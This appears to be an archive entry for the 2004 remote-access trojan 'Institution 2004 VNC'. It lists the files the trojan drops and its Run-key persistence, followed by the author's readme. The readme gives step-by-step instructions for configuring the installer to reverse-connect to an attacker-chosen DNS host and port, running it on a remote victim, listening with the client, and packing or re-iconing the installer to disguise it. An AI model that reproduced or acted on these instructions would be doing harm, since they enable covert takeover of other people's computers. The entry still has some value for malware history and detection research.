.: Institution 2004 VNC :.
Released 17 years, 3 months ago. Jul 2004By Aphex
- Coded by: Aphex
- Version: Institution 2004 VNC
- Released date: Jul 2004, 17 years, 3 months ago.
- Family: Institution
- Category: Remote Access
Server: dropped files: c:\WINDOWS\XXXXXXXX.dll size: 32.768 bytes c:\WINDOWS\XXXXXXXX.exe size: 507.904 bytes startup: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run "XXXXXXXX" data: C:\WINDOWS\XXXXXXXX.exe
Institution 2004 VNC Beta by Aphex --/URL REDACTED BY SUB7CREW.ORG FOR YOUR SAFETY\-- --/EMAIL REDACTED BY SUB7CREW.ORG FOR YOUR SAFETY\-- This is a modification of TightVNC 1.3dev5. It is a demonstration of the VNC functionality that will be included with the next version of Institution 2004. It is basically just a changed name and is setup to automatically reverse connect. Most of the coding credit belongs to the author of TightVNC and the authors of code on which TightVNC is based. The VNC server and hook DLL is wrapped inside an installer EXE. The installer can edit itself to configure it with your options. How To Configure The Installer: To set the installer with your settings you must run it with the '-e' flag. This does not install the VNC server. This sets the installer for your settings like a typical Edit Server would do. The VNC server will only actually install itself if you run it without the '-e' flag. Usage: installer.exe -e <file name> <dns> <port> Example: c:\> installer.exe -e "My Vnc" vnc.no-ip.org 19000 This will configure the server to connect to vnc.no-ip.org using port number 19000. The server will install it's files as "My Vnc.exe" and "My Vnc.dll". When the installer is executed WITHOUT the '-e' flag the installer will begin copying the files. The files are located in the Windows folder and the startup value is located in the HKLM, CurrentVersion\Run key. After you have configured your installer with the '-e' flag it is ready to be ran on the remote host. Be careful not to run it on yourself if you don't intend to. Be safe and remember the '-e' flag. How To Use The Client: Start the Client.exe and click the "Options..." button. In the Options window click the "Globals" tab and under "Listening mode" make sure you change the port to what you configured in the client. The default is 5500. Once you change the port click "OK" and then back in the main window click Listening mode". This will enable the server to receive incoming VNC connections. They will popup the desktop screens as they arrive. The I2K4 VNC server is designed to automatically connect when it first executes and reconnect each time it is disconnected. The connection delay is 15 seconds. Remember, this is just a demo of the VNC plugin that will be included in the next I2K4 version. Right now it is just a seperate addon. The VNC server is designed for only reverse connection. It does not open any listening sockets and it does not save any settings to the registry. All settings are self-contained. Other Notes: The installer can be packed but only AFTER it has been configured with the '-e' flag. Otherwise it will result in corruption of the file. The icon that the VNC server uses can only changed with a resource editor by extracting the server EXE from the installer EXE. Named as resource 'A01' and then changing the icon from the extracted server and then reimporting it into the installer EXE. This is an advanced topic so do not ask for help from me on this. Aphex
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